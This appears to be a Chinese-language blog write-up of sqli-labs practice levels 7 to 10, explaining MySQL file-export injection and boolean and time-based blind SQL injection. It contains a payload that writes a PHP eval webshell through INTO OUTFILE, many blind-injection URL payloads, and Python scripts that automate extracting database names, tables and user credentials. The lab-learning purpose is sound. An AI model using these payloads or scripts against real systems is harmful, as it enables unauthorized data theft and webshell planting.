sqli-labs攻关2(布尔盲注、时间盲注)

前言

之前已经通过sqli-libs攻关的方式,总结过SQL注入的简单注入和双注入。所以这次继续通过sqli-libs攻关的方式总结SQL注入的布尔盲注和时间盲注。

正文

在开始盲注前,先把之前未总结的导出文件GET字符型注入学习一下

一、导出文件GET注入

导出文件
1、LOAD_FILE
可以利用该函数,进写入shell
用法:select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问。
2、payload中只能在/home/wwwroot/default/mysql才能写入或者读取文件。因为mysql目录的权限我们设置chowm -R mysql:mysql
3、另外要保证正常的文件写入与读取要在mysql配置文件my.cnf最后一行新增secure_file_priv= "/"方法,才能使用LOAD_FILE在生产环境情况下。

利用
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面。
常用的语句是: select "" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
获取方法,根据系统和数据库猜测。如winserver的asp默认路径是c:/inetpub/wwwroot/
linux的nginx一般是
/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/html
apache
/var/www/htm,/var/www/html/htdocs

Less-7导出文件GET字符型注入

1、利用写入新增任意文件
payload

?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "/home/wwwroot/default/mysql/1.txt" --+

2、验证是否写入成功
payload
sqli-labs攻关2(布尔盲注、时间盲注)_第1张图片
访问写入的文件mysql/1.txt
在这里插入图片描述

二、GET盲注

布尔盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注过程

 (select count(schema_name) from information_schema.sc hemata)> n

n为数据库个数,当数据库个数大于n页面显示正常

(select length(schema_name) from information_schema.s chemata limit 0,1)> n

该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常

(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105

ascii()将返回字符串的ascii值。
第一个1,表示截取字符串的起始位置。
第二个1,表示截取字符串长度
语句作用:判断第一个库第一个字符是什么
时间盲注
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
2.时间盲注过程

if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1)

判断数据库个数

if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)

判断 第一个库第一个字符
相关函数

Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

思路
1.先利用length()判断数据库长度
2.然后利用if函数、substr函数和ascii函数构造猜测数据库名ascii码的值的语句。

Less-8布尔型单引号GET盲注

1、测试
1.测闭合方式
输入id=1
输入id=1'
输入id=1’–+正常,
输入id=1’ and 1=1–+正常,
输入id=1’ and 1=2–+不回显,
可判定是字符型注入并且为单引号闭合。
2.测列
输入id=1' order by 4--+
不回显,说明有三列。
3.测长度
判断数据库名的长度
输入id=1' and (length(database())=8)--+正常
说明长度为8。
4.测字符
用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
输入id=1' and (ascii(substr(database(),1,1))>97)--+正常
sqli-labs攻关2(布尔盲注、时间盲注)_第2张图片
2、注入
1.猜库
第一个字符

输入?id=1' and (ascii(substr(database(),1,1))>110)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>116)--+不回显,
输入?id=1' and (ascii(substr(database(),1,1))>113)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>114)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>115)--+不回显,

sqli-labs攻关2(布尔盲注、时间盲注)_第3张图片
sqli-labs攻关2(布尔盲注、时间盲注)_第4张图片
说明数据库名的第一个字符ASCII码为115,即“s”。
第二个字符

输入?id=1' and (ascii(substr(database(),2,1))>101)--+不回显,
输入?id=1' and (ascii(substr(database(),2,1))>100)--+正常,

说明第二个字符是“e“。以此类推。
2.猜表
payload

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97)--+ 正常

然后改变大于号后面的数字,查找到第一个字符的ASCII码,
再改变substr()函数的第二个参数值获取下一个字符,改变limit子句判断下一个表名。
3.猜字段
payload

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))>97--+

4.数据
payload

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>65--+
脚本

我写的普通脚本:

import requests
import string

if __name__ == "__main__":
    chars=string.ascii_letters+string.digits
    url="http://x.x.x.165:8001/Less-8/"
    
    payload="1' and ascii(substr(database(),{0},1))={1} #"  #0 1设置指定位置
    #payload='" or ascii(substr(database(),{:d},1))={:d} #'
    #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
    #payload='"or ascii(substr((select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 3,1),{0},1))={1}#'
    #payload='" or ascii(substr((select flag from users limit 0,1),{0},1))={1}#'
    
    print("爆出数据结果:")
    name=''
    for i in range(1,40):
        char=''
        for j in chars:
            payloads=payload.format(i,ord(j))
            data={'id':payloads}
            r=requests.post(url,params=data)
            if "You are in" in r.text:
                name+=j
                print(name)
                char=j
                break
        if char=='':
            break

大师傅写的二分法脚本:

# conding:utf-8
import requests
url_init = "http://localhost/sqli-labs/Less-8/?id=1";;
url_init_error = url_init + "'"
length_init = requests.get(url_init).headers.get('Content-Length')
database=""
# and ascii(substr((select database()),1,1))>64 %23   然后不断增加后面的数字大小来确定
#and ascii(substr((select table_name from information_schema.tables where table_schema=hex(int (database))),1,1))>64 %23
# 写一个方法二分快速获取应该判断的数字
# 返回数字,传入布尔值,对还是错,对应的数字。
# 正经的二分查询。有序的字符中,最大最小。65到122
# 我们现在知道了返回长度多少是正确的和错误的
#
def get_length(url):
    length = requests.get(url).headers.get('Content-Length')
    #print("length:"+str(length))
    # 正确的
    if (length == length_init):
        return True
    else:
        return False
def geturl(n,number):
    url = url_init_error+"and ascii(substr((select database()),{0},1))>{1} %23".format(n,number)
    print(url)
    return url
def efs(min_number,max_number,n):
    if(max_number-min_number==1):
        print("[+] get "+chr(max_number))
        global database
        database=database+(chr(max_number))
        print('[+] databse is {0}'.format(database))
        return
    number = int((min_number+max_number)/2)
    #print(number)
    url = geturl(n,number)
    #print(url)
    #如果比中间大
    if get_length(url):
        efs(number,max_number,n)
    else:
        efs(min_number,number,n)
for n in range(1,10):
    #如果大于1都不满足就是结束了
    if(get_length(geturl(n,1))is False):
        break
    else:
        efs(65,127,n)
Less-9基于时间的GET单引号盲注

Time型盲注和Bool型盲注应用场景不同之处在报错的返回上。
Less8中,输入合法时会返回正常页面“You are in”,而非法输入时没有返回任何东西。于是可以根据这个特点跑盲注,通过不同的返回页面来判断匹配的字符是否正确。
而在Less9中,合法输入与非法输入返回为同一个固定字符串。这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。
注意
Time盲注时,穷举会比二分查找快很多。Bool盲注时,则二分查找更快一些。
1、测试
过程同Less8。与Less8相比,用了sleep()函数。
2、注入
注入过程同Less8。与Less8相比,用了sleep()函数。
1.猜库
payload

输入?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(5))--+正常
输入?id=1' and if(ascii(substr((select database()),1,1))>115,1,sleep(5))--+延迟

sqli-labs攻关2(布尔盲注、时间盲注)_第5张图片
sqli-labs攻关2(布尔盲注、时间盲注)_第6张图片
说明第一个字符是s,然后以此类推得出数据库名。
2.猜表
payload

输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101),1,sleep(5))--+延迟

说明第一个表的第一个字符为“e”。
3.猜字段
payload

输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105),1,sleep(5))--+延迟

说明第一个字符为“i”。
4.数据
payload

输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>67),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>68),1,sleep(5))--+延迟

说明第一个字符为“D”。

脚本

我写的脚本:

import requests
import string
import time
import datetime

chars=string.ascii_letters+string.digits
url="http://x.x.x.165:8001/Less-9/"

payload="1' and if((ascii(substr(database(),{0},1))={1}),sleep(3),1) #"
#payload="1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(3),1) #"
#payload="1'and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),{0},1))={1}),sleep(3),1) #"
#payload="1' and if((ascii(substr((select password from users limit 0,1),{0},1))={1}),sleep(3),1) #"

print("数据:")
name=''
for i in range(1,40):
    char=''
    for j in chars:
        payloads=payload.format(i,ord(j))
        data={'id':payloads}
        t1=datetime.datetime.now()
        r=requests.get(url,params=data)
        t2=datetime.datetime.now()
        sec = (t2 - t1).seconds
        if sec>=3:
            name+=j
            print(name)
            char=j
            break
    if char=='':
        break

大师傅的脚本:

import requests
value ="abcdefghigklmnopqrstuvwxyz@_."
data=""
url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"
url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"
def get_length(payload):
    for n in range(1,100):
        url= url_length.format(payload,n)
        print(url)
        if(get_respone(url)):
            print("[+] length is {0}".format(n))
            return n
def get_data(payload,value,length):
    for n in range(1,length):
        for v in value :
            url_data = url.format(payload,n,v)
            print(url_data)
            if(get_respone(url_data)):
                global data
                data=data+v
                print("[+] data is {0}".format(data))
                break
def get_respone(url):
    try:
        html = requests.get(url,timeout=4)
        return False
    except Exception as e:
        print("......")
        return True
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)
Less-10基于时间的GET双引号盲注

和Less9差别只在于单双引号,修改查询语句闭合后用脚本注入即可。

感悟

总结之后,又对盲注有了更深一步的理解。脚本是硬伤,我要继续好好学习python了。
小白进阶ing。。。。

你可能感兴趣的:(Web,SQL注入,Web常见漏洞)